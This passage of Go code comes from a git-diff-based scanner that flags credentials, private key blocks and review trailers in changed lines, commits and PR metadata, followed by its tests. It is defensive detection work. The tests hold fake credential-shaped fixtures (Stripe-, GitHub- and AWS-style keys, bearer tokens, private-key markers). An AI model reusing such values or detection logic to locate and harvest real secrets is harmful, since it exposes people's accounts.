findings[i].Line += chunk.StartLine - 1
}
out = append(out, findings...)
out = append(out, semanticCandidate(file, "file", chunk.Text, chunk.StartLine)...)
}
privateKeyFindings, err := scanTouchedPrivateKeyBlocks(ctx, opts.Repo, file, patches[file])
if err != nil {
return nil, err
}
out = appendUniqueFindings(out, privateKeyFindings...)
}
if base != "" {
commitFindings, err := scanCommitMessages(ctx, opts.Repo, base)
if err != nil {
return nil, err
}
out = append(out, commitFindings...)
}
branchName := opts.BranchName
if branchName == "" {
branchName = metadata.Branch
}
if branchName == "" {
branchName = branchFromEnv()
}
if branchName == "" {
branchName = currentBranch(ctx, opts.Repo)
}
if branchName != "" {
out = append(out, scanText("branch", "branch", branchName, false)...)
}
out = append(out, scanMetadata(metadata)...)
sort.SliceStable(out, func(i, j int) bool {
if out[i].File != out[j].File {
return out[i].File < out[j].File
}
if out[i].Line != out[j].Line {
return out[i].Line < out[j].Line
}
return out[i].Rule < out[j].Rule
})
return out, nil
}
func currentBranch(ctx context.Context, repo string) string {
data, err := gitOutput(ctx, repo, "branch", "--show-current")
if err != nil {
return ""
}
return strings.TrimSpace(string(data))
}
func branchFromEnv() string {
for _, key := range []string{"PR_BRANCH", "GITHUB_HEAD_REF", "GITHUB_REF_NAME"} {
if value := strings.TrimSpace(os.Getenv(key)); value != "" {
return value
}
}
return ""
}
func changedFiles(ctx context.Context, repo, changedFrom string) ([]string, string, error) {
if changedFrom == "" {
return nil, "", nil
}
baseBytes, err := gitOutput(ctx, repo, "merge-base", changedFrom, "HEAD")
if err != nil {
return nil, "", err
}
base := strings.TrimSpace(string(baseBytes))
files, err := diffFileNames(ctx, repo, base)
if err != nil {
return nil, "", err
}
sort.Strings(files)
return files, base, nil
}
func diffFileNames(ctx context.Context, repo, base string) ([]string, error) {
data, err := gitOutput(ctx, repo, "diff", "--name-only", "-z", "--diff-filter=ACMR", base+"..HEAD")
if err != nil {
return nil, err
}
var files []string
for _, file := range bytes.Split(data, []byte{0}) {
if len(file) == 0 {
continue
}
files = append(files, filepath.ToSlash(string(file)))
}
return files, nil
}
var detectorFixtureExclusions = map[string]bool{
"internal/qualitygate/publiccontent/collect_test.go": true,
"internal/qualitygate/publiccontent/rules.go": true,
"internal/qualitygate/publiccontent/scan.go": true,
"internal/qualitygate/publiccontent/scan_test.go": true,
}
func scanChangedFile(file string) bool {
normalized := strings.TrimPrefix(strings.ReplaceAll(file, "\\", "/"), "./")
return !detectorFixtureExclusions[normalized]
}
type changedChunk struct {
StartLine int
Text string
}
func (c changedChunk) endLine() int {
lines := strings.Count(strings.TrimRight(c.Text, "\n"), "\n") + 1
if lines < 1 {
lines = 1
}
return c.StartLine + lines - 1
}
func changedPatches(ctx context.Context, repo, base string) (map[string][]changedChunk, error) {
files, err := diffFileNames(ctx, repo, base)
if err != nil {
return nil, err
}
data, err := gitOutput(ctx, repo, "diff", "--no-ext-diff", "--unified=0", "--diff-filter=ACMR", base+"..HEAD")
if err != nil {
return nil, err
}
out := map[string][]changedChunk{}
var file string
var chunk *changedChunk
nextLine := 0
nextFile := 0
flush := func() {
if file == "" || chunk == nil || chunk.Text == "" {
chunk = nil
return
}
out[file] = append(out[file], *chunk)
chunk = nil
}
for _, raw := range strings.Split(string(data), "\n") {
switch {
case strings.HasPrefix(raw, "diff --git "):
flush()
file = ""
if nextFile < len(files) {
file = files[nextFile]
nextFile++
}
case strings.HasPrefix(raw, "@@ "):
flush()
start, ok := parseNewHunkStart(raw)
if !ok {
nextLine = 0
continue
}
nextLine = start
chunk = &changedChunk{StartLine: start}
case strings.HasPrefix(raw, "+") && !strings.HasPrefix(raw, "+++"):
if chunk == nil {
chunk = &changedChunk{StartLine: max(nextLine, 1)}
}
chunk.Text += strings.TrimPrefix(raw, "+") + "\n"
nextLine++
case strings.HasPrefix(raw, "-"):
continue
default:
if chunk != nil && strings.HasPrefix(raw, `\ No newline at end of file`) {
continue
}
flush()
}
}
flush()
return out, nil
}
func parseNewHunkStart(header string) (int, bool) {
parts := strings.Split(header, " ")
for _, part := range parts {
if !strings.HasPrefix(part, "+") {
continue
}
raw := strings.TrimPrefix(part, "+")
if before, _, ok := strings.Cut(raw, ","); ok {
raw = before
}
start, err := strconv.Atoi(raw)
return start, err == nil && start > 0
}
return 0, false
}
func scanCommitMessages(ctx context.Context, repo, base string) ([]Finding, error) {
data, err := gitOutput(ctx, repo, "log", "--format=%H%x00%B%x00", base+"..HEAD")
if err != nil {
return nil, err
}
parts := bytes.Split(data, []byte{0})
var out []Finding
for i := 0; i+1 < len(parts); i += 2 {
sha := strings.TrimSpace(string(parts[i]))
body := string(parts[i+1])
if sha == "" || body == "" {
continue
}
short := sha
if len(short) > 12 {
short = short[:12]
}
out = append(out, scanText("commit:"+short, "commit", body, false)...)
out = append(out, semanticCandidate("commit:"+short, "commit", body, 1)...)
}
return out, nil
}
type lineRange struct {
Start int
End int
}
func scanTouchedPrivateKeyBlocks(ctx context.Context, repo, file string, chunks []changedChunk) ([]Finding, error) {
if len(chunks) == 0 {
return nil, nil
}
data, err := gitOutput(ctx, repo, "show", "HEAD:"+file)
if err != nil {
return nil, err
}
var added []lineRange
for _, chunk := range chunks {
added = append(added, lineRange{Start: chunk.StartLine, End: chunk.endLine()})
}
var out []Finding
for _, block := range privateKeyBlocks(string(data)) {
if !rangesIntersectAny(block, added) {
continue
}
out = append(out, newFinding("public_content_private_key_block", file, block.Start, "file", "private key block"))
}
return out, nil
}
func privateKeyBlocks(text string) []lineRange {
lines := strings.Split(text, "\n")
var out []lineRange
inPrivateKey := false
start := 0
for i, line := range lines {
lineNo := i + 1
if !inPrivateKey && strings.Contains(line, privateKeyBeginPrefix) && strings.Contains(line, privateKeyMarker) {
inPrivateKey = true
start = lineNo
}
if inPrivateKey && strings.Contains(line, privateKeyEndPrefix) && strings.Contains(line, privateKeyMarker) {
out = append(out, lineRange{Start: start, End: lineNo})
inPrivateKey = false
}
}
return out
}
func rangesIntersectAny(block lineRange, ranges []lineRange) bool {
for _, r := range ranges {
if block.Start <= r.End && r.Start <= block.End {
return true
}
}
return false
}
func appendUniqueFindings(items []Finding, additions ...Finding) []Finding {
for _, addition := range additions {
duplicate := false
for _, item := range items {
if item.Rule == addition.Rule &&
item.File == addition.File &&
item.Line == addition.Line &&
item.Source == addition.Source {
duplicate = true
break
}
}
if !duplicate {
items = append(items, addition)
}
}
return items
}
func gitOutput(ctx context.Context, repo string, args ...string) ([]byte, error) {
cmd := exec.CommandContext(ctx, "git", args...)
cmd.Dir = repo
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
return nil, fmt.Errorf("git %s: %w\n%s", strings.Join(args, " "), err, stderr.Bytes())
}
return stdout.Bytes(), nil
}

View File

@@ -0,0 +1,885 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package publiccontent
import (
"context"
"os"
"os/exec"
"path/filepath"
"strings"
"testing"
)
func TestCollectScansOnlyCurrentContributionAndMetadata(t *testing.T) {
repo := t.TempDir()
runGit(t, repo, "init")
runGit(t, repo, "config", "user.email", "test@example.com")
runGit(t, repo, "config", "user.name", "Test User")
writeFile(t, filepath.Join(repo, "baseline.md"), `BASE_`+`TOKEN="baseline-only"
`)
runGit(t, repo, "add", "baseline.md")
runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "docs", "public.md"), `# Public change
api_`+`key = "example-public-key"
`)
runGit(t, repo, "add", "docs/public.md")
runGit(t, repo, "commit", "-m", "add public doc", "-m", "Change"+"-Id: I0123456789abcdef0123456789abcdef01234567")
metadataPath := filepath.Join(repo, "pr-metadata.json")
writeFile(t, metadataPath, `{"title":"publish public docs","body":"Reviewed`+`-on: https://review.example.test/c/project/+/123"}`)
got, err := Collect(context.Background(), Options{
Repo: repo,
ChangedFrom: "HEAD~1",
MetadataPath: metadataPath,
})
if err != nil {
t.Fatalf("Collect() error = %v", err)
}
rules := findingRules(got)
for _, want := range []string{
"public_content_generic_credential",
"public_content_change_id_trailer",
"public_content_reviewed_on_trailer",
} {
if !rules[want] {
t.Fatalf("missing rule %s in findings %#v", want, got)
}
}
for _, item := range got {
if item.File == "baseline.md" {
t.Fatalf("collector scanned unchanged baseline file: %#v", got)
}
}
}
func TestCollectScansOnlyChangedLinesInChangedFiles(t *testing.T) {
repo := t.TempDir()
runGit(t, repo, "init")
runGit(t, repo, "config", "user.email", "test@example.com")
runGit(t, repo, "config", "user.name", "Test User")
writeFile(t, filepath.Join(repo, "docs", "workflow.md"), "SECRET_TOKEN=legacy-example\npublic baseline\n")
runGit(t, repo, "add", "docs/workflow.md")
runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "docs", "workflow.md"), "SECRET_TOKEN=legacy-example\npublic baseline\nnew public line\n")
runGit(t, repo, "add", "docs/workflow.md")
runGit(t, repo, "commit", "-m", "add public line")
metadataPath := filepath.Join(repo, "pr-metadata.json")
writeFile(t, metadataPath, `{}`)
got, err := Collect(context.Background(), Options{
Repo: repo,
ChangedFrom: "HEAD~1",
MetadataPath: metadataPath,
})
if err != nil {
t.Fatalf("Collect() error = %v", err)
}
for _, item := range got {
if item.Rule == "public_content_generic_credential" && item.File == "docs/workflow.md" {
t.Fatalf("collector scanned unchanged legacy line in changed file: %#v", got)
}
}
}
func TestCollectSemanticCandidatesStoreSanitizedReviewText(t *testing.T) {
repo := t.TempDir()
runGit(t, repo, "init")
runGit(t, repo, "config", "user.email", "test@example.com")
runGit(t, repo, "config", "user.name", "Test User")
writeFile(t, filepath.Join(repo, "docs", "public.md"), "base\n")
runGit(t, repo, "add", "docs/public.md")
runGit(t, repo, "commit", "-m", "base")
raw := "private launch plan for alpha-service rollout on Friday with SERVICE_" + "TOKEN=real-" + "secret-value"
writeFile(t, filepath.Join(repo, "docs", "public.md"), "base\n"+raw+"\n")
runGit(t, repo, "add", "docs/public.md")
runGit(t, repo, "commit", "-m", "add semantic candidate")
metadataPath := filepath.Join(repo, "pr-metadata.json")
writeFile(t, metadataPath, `{}`)
got, err := Collect(context.Background(), Options{
Repo: repo,
ChangedFrom: "HEAD~1",
MetadataPath: metadataPath,
})
if err != nil {
t.Fatalf("Collect() error = %v", err)
}
var found bool
for _, item := range got {
if item.Rule != "public_content_semantic_candidate" || item.File != "docs/public.md" {
continue
}
found = true
if !strings.Contains(item.Excerpt, "alpha-service rollout on Friday") {
t.Fatalf("semantic candidate should include sanitized review text, got %#v", item)
}
if strings.Contains(item.Excerpt, "real-"+"secret-value") {
t.Fatalf("semantic candidate leaked credential value: %#v", item)
}
if !strings.Contains(item.Excerpt, "SERVICE_TOKEN=<redacted>") {
t.Fatalf("semantic candidate should redact credentials in review text, got %#v", item)
}
if !strings.Contains(item.Excerpt, "semantic signals") || !strings.Contains(item.Excerpt, "roadmap_timing") {
t.Fatalf("semantic candidate excerpt should preserve semantic signals, got %#v", item)
}
}
if !found {
t.Fatalf("missing semantic candidate in findings %#v", got)
}
}
func TestCollectSemanticCandidatesDoNotLeakWhitespaceCredentialTail(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "public.md"), "base\n")
runGit(t, repo, "add", "docs/public.md")
runGit(t, repo, "commit", "-m", "base")
raw := "private launch plan for internal rollout on Friday with SERVICE_" + "TOKEN=\"real " + "secret value\""
writeFile(t, filepath.Join(repo, "docs", "public.md"), "base\n"+raw+"\n")
runGit(t, repo, "add", "docs/public.md")
runGit(t, repo, "commit", "-m", "add semantic candidate")
got := collectFromPreviousCommit(t, repo)
for _, item := range got {
if item.Rule != "public_content_semantic_candidate" || item.File != "docs/public.md" {
continue
}
if strings.Contains(item.Excerpt, "secret value") || strings.Contains(item.Excerpt, "real "+"secret value") {
t.Fatalf("semantic candidate leaked credential tail: %#v", item)
}
if !strings.Contains(item.Excerpt, "SERVICE_TOKEN=<redacted>") {
t.Fatalf("semantic candidate should redact full credential assignment, got %#v", item)
}
return
}
t.Fatalf("missing semantic candidate in findings %#v", got)
}
func TestCollectJSONBearerHeadersDoNotLeakIntoSemanticCandidates(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "public.md"), "base\n")
runGit(t, repo, "add", "docs/public.md")
runGit(t, repo, "commit", "-m", "base")
token := "abcdefghijklmnopqrstuvwxyz"
raw := "private launch plan for internal rollout on Friday with " +
`{"headers":{"Authorization":"Bearer ` + token + `"}}`
writeFile(t, filepath.Join(repo, "docs", "public.md"), "base\n"+raw+"\n")
runGit(t, repo, "add", "docs/public.md")
runGit(t, repo, "commit", "-m", "add json bearer")
got := collectFromPreviousCommit(t, repo)
requireFinding(t, got, "docs/public.md", "public_content_bearer_header")
for _, item := range got {
if item.File != "docs/public.md" {
continue
}
if strings.Contains(item.Excerpt, token) {
t.Fatalf("finding leaked JSON bearer token: %#v", item)
}
}
}
func TestCollectDetectsQuotedJSONCredentialAssignments(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "public.json"), "{}\n")
runGit(t, repo, "add", "docs/public.json")
runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "docs", "public.json"), strings.Join([]string{
`{"access_` + `token":"real-json-token"}`,
`{"client_` + `secret": "real ` + `secret value"}`,
`{"tenantAccess` + `Token":"real-tenant-camel-token"}`,
`{"github` + `Token":"real-github-token"}`,
`{"vendorApi` + `Key":"real-vendor-key"}`,
`{"slackBot` + `Token":"xoxb-real-token"}`,
}, "\n")+"\n")
runGit(t, repo, "add", "docs/public.json")
runGit(t, repo, "commit", "-m", "add json config")
got := collectFromPreviousCommit(t, repo)
var count int
for _, item := range got {
if item.File == "docs/public.json" && item.Rule == "public_content_generic_credential" {
count++
for _, forbidden := range []string{
"real-json-token",
"real secret value",
"real-tenant-camel-token",
"real-github-token",
"real-vendor-key",
"xoxb-real-token",
} {
if strings.Contains(item.Excerpt, forbidden) {
t.Fatalf("JSON credential finding leaked value %q in excerpt %q", forbidden, item.Excerpt)
}
}
}
}
if count != 6 {
t.Fatalf("JSON credential findings = %d, want 6: %#v", count, got)
}
}
func TestCollectAllowsBenignJSONTokenFields(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "public.json"), "{}\n")
runGit(t, repo, "add", "docs/public.json")
runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "docs", "public.json"), strings.Join([]string{
`{"tokenizer":"cl100k_base"}`,
`{"token_count": 42}`,
`{"page_token":"next"}`,
`{"next_page_token":"next"}`,
`{"file_token":"file-example"}`,
`{"doc_token":"doc-example"}`,
`{"node_token":"node-example"}`,
`{"wiki_token":"wikcn_public_doc_example"}`,
`{"folder_token":"folder-example"}`,
`{"obj_token":"obj-example"}`,
`{"spreadsheet_token":"sheet-example"}`,
`{"parent_node_token":"parent-example"}`,
`{"origin_node_token":"origin-example"}`,
`{"drive_route_token":"route-example"}`,
`{"token":"<wiki_token>"}`,
`{"token":"wiki_token"}`,
`{"token_url":"https://example.com/oauth/token"}`,
`{"token_endpoint":"https://example.com/oauth/token"}`,
`{"token_format":"Bearer"}`,
`{"secret_name":"public-example-secret"}`,
`{"base_token":"base-example"}`,
`{"app_token":"app-example"}`,
`{"sync_token":"sync-example"}`,
`{"parent_token":"parent-example"}`,
`{"target_token":"target-example"}`,
`{"parent_file_token":"parent-file-example"}`,
`{"refresh_token_expires_in": 7200}`,
`{"access_token_expires_in": 7200}`,
`{"token_expires_in": 7200}`,
`{"token_status":"active"}`,
}, "\n")+"\n")
runGit(t, repo, "add", "docs/public.json")
runGit(t, repo, "commit", "-m", "add benign json token fields")
got := collectFromPreviousCommit(t, repo)
for _, item := range got {
if item.File == "docs/public.json" && item.Rule == "public_content_generic_credential" {
t.Fatalf("benign JSON token field should not be credential finding: %#v", got)
}
}
}
func TestCollectDetectsAngleWrappedRealisticCredentialValues(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "config.yaml"), "base: true\n")
runGit(t, repo, "add", "docs/config.yaml")
runGit(t, repo, "commit", "-m", "base")
stripeLike := "sk_" + "live_1234567890abcdef"
patLike := "gh" + "p_1234567890abcdef1234567890abcdef1234"
writeFile(t, filepath.Join(repo, "docs", "config.yaml"), strings.Join([]string{
"API_KEY: <" + stripeLike + ">",
"SECRET_TOKEN: <" + patLike + ">",
"CLIENT_SECRET: <real-client-secret-value>",
}, "\n")+"\n")
runGit(t, repo, "add", "docs/config.yaml")
runGit(t, repo, "commit", "-m", "add credential config")
got := collectFromPreviousCommit(t, repo)
var count int
for _, item := range got {
if item.File == "docs/config.yaml" && item.Rule == "public_content_generic_credential" {
count++
}
}
if count != 3 {
t.Fatalf("angle-wrapped realistic credential findings = %d, want 3: %#v", count, got)
}
}
func TestCollectDetectsCredentialShapedValuesUnderBenignKeys(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "public.json"), "{}\n")
runGit(t, repo, "add", "docs/public.json")
runGit(t, repo, "commit", "-m", "base")
stripeLike := "sk_" + "live_1234567890abcdef"
patLike := "gh" + "p_1234567890abcdef1234567890abcdef1234"
writeFile(t, filepath.Join(repo, "docs", "public.json"), strings.Join([]string{
`{"access_token_expires_in":"` + patLike + `"}`,
`{"refresh_token_expires_in":"` + stripeLike + `"}`,
`{"client_secret_status":"real-client-secret-value"}`,
`{"client_secret_name":"real-client-secret-value"}`,
`{"app_token":"` + patLike + `"}`,
`{"sync_token":"` + stripeLike + `"}`,
`{"target_token":"real-client-secret-value"}`,
}, "\n")+"\n")
runGit(t, repo, "add", "docs/public.json")
runGit(t, repo, "commit", "-m", "add credential-shaped benign fields")
got := collectFromPreviousCommit(t, repo)
var count int
for _, item := range got {
if item.File == "docs/public.json" && item.Rule == "public_content_generic_credential" {
count++
}
}
if count != 7 {
t.Fatalf("credential-shaped benign-key findings = %d, want 7: %#v", count, got)
}
}
func TestCollectDetectsBareIdentifierCredentialsWithMetadataSuffixes(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "config.yaml"), "base: true\n")
runGit(t, repo, "add", "docs/config.yaml")
runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "docs", "config.yaml"), strings.Join([]string{
"API_KEY_NAME: prod_key",
"CLIENT_SECRET_NAME: prod_secret",
"SECRET_STATUS: prod_secret",
}, "\n")+"\n")
runGit(t, repo, "add", "docs/config.yaml")
runGit(t, repo, "commit", "-m", "add credential config")
got := collectFromPreviousCommit(t, repo)
var count int
for _, item := range got {
if item.File == "docs/config.yaml" && item.Rule == "public_content_generic_credential" {
count++
}
}
if count != 3 {
t.Fatalf("metadata-suffixed bare credential findings = %d, want 3: %#v", count, got)
}
}
func TestCollectDetectsAccessKeyCredentials(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "config.yaml"), "base: true\n")
runGit(t, repo, "add", "docs/config.yaml")
runGit(t, repo, "commit", "-m", "base")
accessKey := "AK" + "IAIOSFODNN7EXAMPX"
writeFile(t, filepath.Join(repo, "docs", "config.yaml"), strings.Join([]string{
"AWS_ACCESS_KEY_ID: " + accessKey,
"ACCESS_KEY_ID: " + accessKey,
"ACCESS_KEY: " + accessKey,
}, "\n")+"\n")
runGit(t, repo, "add", "docs/config.yaml")
runGit(t, repo, "commit", "-m", "add access key config")
got := collectFromPreviousCommit(t, repo)
var count int
for _, item := range got {
if item.File != "docs/config.yaml" || item.Rule != "public_content_generic_credential" {
continue
}
count++
if strings.Contains(item.Excerpt, "AKIAIOSFODNN7EXAMPX") {
t.Fatalf("access key finding leaked value in excerpt %q", item.Excerpt)
}
}
if count != 3 {
t.Fatalf("access key credential findings = %d, want 3: %#v", count, got)
}
}
func TestCollectDetectsPrivateKeyAssignments(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "config.yaml"), "base: true\n")
runGit(t, repo, "add", "docs/config.yaml")
runGit(t, repo, "commit", "-m", "base")
privateKey := "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0t"
writeFile(t, filepath.Join(repo, "docs", "config.yaml"), strings.Join([]string{
"PRIVATE_KEY: " + privateKey,
"SSH_PRIVATE_KEY: " + privateKey,
"JWT_PRIVATE_KEY: " + privateKey,
"SIGNING_PRIVATE_KEY: " + privateKey,
}, "\n")+"\n")
runGit(t, repo, "add", "docs/config.yaml")
runGit(t, repo, "commit", "-m", "add private key config")
got := collectFromPreviousCommit(t, repo)
var count int
for _, item := range got {
if item.File != "docs/config.yaml" || item.Rule != "public_content_generic_credential" {
continue
}
count++
if strings.Contains(item.Excerpt, privateKey) {
t.Fatalf("private key finding leaked value in excerpt %q", item.Excerpt)
}
}
if count != 4 {
t.Fatalf("private key assignment findings = %d, want 4: %#v", count, got)
}
}
func TestCollectDetectsCredentialValuesThatLookLikeBareIdentifiers(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "config.yaml"), "base: true\n")
runGit(t, repo, "add", "docs/config.yaml")
runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "docs", "config.yaml"), strings.Join([]string{
"API_KEY_OPENAI: prod_key",
"CLIENT_SECRET_GOOGLE: prod_secret",
"TOKEN_GITHUB: github_token",
"APP_PASSWORD_PROD: prod_password",
}, "\n")+"\n")
runGit(t, repo, "add", "docs/config.yaml")
runGit(t, repo, "commit", "-m", "add credential config")
got := collectFromPreviousCommit(t, repo)
var count int
for _, item := range got {
if item.File == "docs/config.yaml" && item.Rule == "public_content_generic_credential" {
count++
}
}
if count != 4 {
t.Fatalf("bare identifier credential findings = %d, want 4: %#v", count, got)
}
}
func TestCollectAllowsBenignUnquotedTokenFields(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "config.yaml"), "base: true\n")
runGit(t, repo, "add", "docs/config.yaml")
runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "docs", "config.yaml"), strings.Join([]string{
"tokens: 128",
"token_type: bearer",
"max_tokens: 2000",
"completion_tokens: 200",
"prompt_tokens: 100",
}, "\n")+"\n")
runGit(t, repo, "add", "docs/config.yaml")
runGit(t, repo, "commit", "-m", "add benign token config")
got := collectFromPreviousCommit(t, repo)
for _, item := range got {
if item.File == "docs/config.yaml" && item.Rule == "public_content_generic_credential" {
t.Fatalf("benign unquoted token field should not be credential finding: %#v", got)
}
}
}
func TestCollectDetectsCredentialPhraseBeforeEnvironmentSuffix(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "config.yaml"), "base: true\n")
runGit(t, repo, "add", "docs/config.yaml")
runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "docs", "config.yaml"), strings.Join([]string{
"API_KEY_OPENAI: real-openai-key",
"TOKEN_GITHUB: real-github-token",
"CLIENT_SECRET_GOOGLE: real-google-secret",
"SECRET_KEY_BASE: real-secret-key-base",
"APP_PASSWORD_PROD: real-prod-password",
}, "\n")+"\n")
runGit(t, repo, "add", "docs/config.yaml")
runGit(t, repo, "commit", "-m", "add credential config")
got := collectFromPreviousCommit(t, repo)
var count int
for _, item := range got {
if item.File != "docs/config.yaml" || item.Rule != "public_content_generic_credential" {
continue
}
count++
for _, forbidden := range []string{
"real-openai-key",
"real-github-token",
"real-google-secret",
"real-secret-key-base",
"real-prod-password",
} {
if strings.Contains(item.Excerpt, forbidden) {
t.Fatalf("credential finding leaked value %q in excerpt %q", forbidden, item.Excerpt)
}
}
}
if count != 5 {
t.Fatalf("credential suffix variants findings = %d, want 5: %#v", count, got)
}
}
func TestCollectDetectsPrivateKeyWhenOnlyEndIsAdded(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "key.pem"), privateKeyBegin()+"legacy-body\n")
runGit(t, repo, "add", "docs/key.pem")
runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "docs", "key.pem"), privateKeyBegin()+"legacy-body\nnew-body\n"+privateKeyEnd())
runGit(t, repo, "add", "docs/key.pem")
runGit(t, repo, "commit", "-m", "complete key")
got := collectFromPreviousCommit(t, repo)
requireFinding(t, got, "docs/key.pem", "public_content_private_key_block")
}
func TestCollectDetectsPrivateKeyWhenOnlyBeginIsAdded(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "key.pem"), "legacy-body\n"+privateKeyEnd())
runGit(t, repo, "add", "docs/key.pem")
runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "docs", "key.pem"), privateKeyBegin()+"legacy-body\n"+privateKeyEnd())
runGit(t, repo, "add", "docs/key.pem")
runGit(t, repo, "commit", "-m", "complete key")
got := collectFromPreviousCommit(t, repo)
requireFinding(t, got, "docs/key.pem", "public_content_private_key_block")
}
func TestCollectDetectsPrivateKeyWhenOnlyBodyIsAdded(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "key.pem"), privateKeyBegin()+privateKeyEnd())
runGit(t, repo, "add", "docs/key.pem")
runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "docs", "key.pem"), privateKeyBegin()+"new-body\n"+privateKeyEnd())
runGit(t, repo, "add", "docs/key.pem")
runGit(t, repo, "commit", "-m", "add body")
got := collectFromPreviousCommit(t, repo)
requireFinding(t, got, "docs/key.pem", "public_content_private_key_block")
}
func TestCollectIgnoresUntouchedHistoricalPrivateKey(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "key.pem"), privateKeyBegin()+"legacy-body\n"+privateKeyEnd())
runGit(t, repo, "add", "docs/key.pem")
runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "docs", "key.pem"), privateKeyBegin()+"legacy-body\n"+privateKeyEnd())
writeFile(t, filepath.Join(repo, "docs", "public.md"), "public docs update\n")
runGit(t, repo, "add", "docs/public.md")
runGit(t, repo, "commit", "-m", "docs update")
got := collectFromPreviousCommit(t, repo)
for _, item := range got {
if item.File == "docs/key.pem" && item.Rule == "public_content_private_key_block" {
t.Fatalf("collector reported untouched historical private key: %#v", got)
}
}
}
func TestCollectIgnoresDeletedPrivateKeyLine(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "key.pem"), privateKeyBegin()+"legacy-body\n"+privateKeyEnd())
runGit(t, repo, "add", "docs/key.pem")
runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "docs", "key.pem"), privateKeyBegin()+privateKeyEnd())
runGit(t, repo, "add", "docs/key.pem")
runGit(t, repo, "commit", "-m", "remove body")
got := collectFromPreviousCommit(t, repo)
for _, item := range got {
if item.File == "docs/key.pem" && item.Rule == "public_content_private_key_block" {
t.Fatalf("collector reported delete-only private key cleanup: %#v", got)
}
}
}
func TestCollectSkipsOnlyKnownQualityGateFixtureFiles(t *testing.T) {
repo := t.TempDir()
runGit(t, repo, "init")
runGit(t, repo, "config", "user.email", "test@example.com")
runGit(t, repo, "config", "user.name", "Test User")
writeFile(t, filepath.Join(repo, "README.md"), "base\n")
runGit(t, repo, "add", "README.md")
runGit(t, repo, "commit", "-m", "base")
writeFile(t, filepath.Join(repo, "internal", "qualitygate", "publiccontent", "collect_test.go"), "SECRET_TOKEN=fixture\n")
writeFile(t, filepath.Join(repo, "internal", "qualitygate", "publiccontent", "scan_test.go"), "SECRET_TOKEN=fixture\n")
writeFile(t, filepath.Join(repo, "internal", "qualitygate", "publiccontent", "scan.go"), "const privateKeyFixture = \""+privateKeyBeginPrefix+privateKeyMarker+"\"\n")
writeFile(t, filepath.Join(repo, "internal", "qualitygate", "publiccontent", "rules.go"), "markers := []string{\"generated with automation\"}\n")
writeFile(t, filepath.Join(repo, "tests", "e2e", "new-public-workflow.test.sh"), "SECRET_TOKEN=real-leak\n")
runGit(t, repo, "add", ".")
runGit(t, repo, "commit", "-m", "add scanner fixtures")
metadataPath := filepath.Join(repo, "pr-metadata.json")
writeFile(t, metadataPath, `{}`)
got, err := Collect(context.Background(), Options{
Repo: repo,
ChangedFrom: "HEAD~1",
MetadataPath: metadataPath,
})
if err != nil {
t.Fatalf("Collect() error = %v", err)
}
var foundOrdinaryTestLeak bool
for _, item := range got {
switch item.File {
case "internal/qualitygate/publiccontent/collect_test.go",
"internal/qualitygate/publiccontent/scan.go",
"internal/qualitygate/publiccontent/scan_test.go",
"internal/qualitygate/publiccontent/rules.go":
t.Fatalf("collector scanned known fixture or detector implementation file: %#v", got)
}
if item.File == "tests/e2e/new-public-workflow.test.sh" && item.Rule == "public_content_generic_credential" {
foundOrdinaryTestLeak = true
}
}
if !foundOrdinaryTestLeak {
t.Fatalf("collector should still scan ordinary test files for real leaks: %#v", got)
}
}
func TestScanChangedFileDocumentsFixtureExclusions(t *testing.T) {
excluded := []string{
"internal/qualitygate/publiccontent/collect_test.go",
"internal/qualitygate/publiccontent/rules.go",
"internal/qualitygate/publiccontent/scan.go",
"internal/qualitygate/publiccontent/scan_test.go",
}
for _, file := range excluded {
if scanChangedFile(file) {
t.Fatalf("scanChangedFile(%q) = true, want false for detector fixture/implementation path", file)
}
}
included := []string{
"internal/qualitygate/publiccontent/new_test.go",
"tests/e2e/new-public-workflow.test.sh",
"docs/public.md",
}
for _, file := range included {
if !scanChangedFile(file) {
t.Fatalf("scanChangedFile(%q) = false, want true", file)
}
}
}
func TestCollectScansAddedLinesInSpecialPathNames(t *testing.T) {
repo := newGitRepo(t)
writeFile(t, filepath.Join(repo, "docs", "old.md"), "base\n")
runGit(t, repo, "add", ".")
